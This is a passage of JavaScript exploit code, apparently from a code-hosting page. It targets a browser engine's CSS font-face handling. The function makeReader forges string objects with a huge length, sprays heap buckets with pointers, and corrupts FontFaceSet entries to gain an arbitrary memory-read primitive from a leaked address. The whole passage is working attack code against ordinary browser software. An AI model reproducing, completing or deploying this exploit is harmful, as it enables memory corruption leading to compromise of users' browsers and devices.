(read_addr, ffs_name)
| 141 | } |
| 142 | |
| 143 | function makeReader(read_addr, ffs_name) { |
| 144 | var fake_s = ''; |
| 145 | fake_s += '0000'; //padding for 8-byte alignment |
| 146 | fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff |
| 147 | fake_s += ptrToString(read_addr); //where to read from |
| 148 | fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit |
| 149 | p_s = ''; |
| 150 | p_s += ptrToString(29); |
| 151 | p_s += ptrToString(guessed_addr); |
| 152 | p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); |
| 153 | p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE); |
| 154 | for (var i = 0; i < 18; i++) |
| 155 | p_s += ptrToString(INVALID_POINTER); |
| 156 | for (var i = 0; i < 256; i++) |
| 157 | mkString(HASHMAP_BUCKET, p_s); |
| 158 | var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]); |
| 159 | mkString(HASHMAP_BUCKET, p_s); |
| 160 | var relative_read = mkString(HASHMAP_BUCKET, fake_s); |
| 161 | bad_fonts[guessed_font].family = ffs_name + "_evil1"; |
| 162 | bad_fonts[guessed_font + 1].family = ffs_name + "_evil2"; |
| 163 | bad_fonts[guessed_font + 2].family = ffs_name + "_evil3"; |
| 164 | needfix.push(relative_read); |
| 165 | if (relative_read.length < 1000) //failed |
| 166 | return makeReader(read_addr, ffs_name + '_'); |
| 167 | return relative_read; |
| 168 | } |
| 169 | |
| 170 | var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr |
| 171 |
no test coverage detected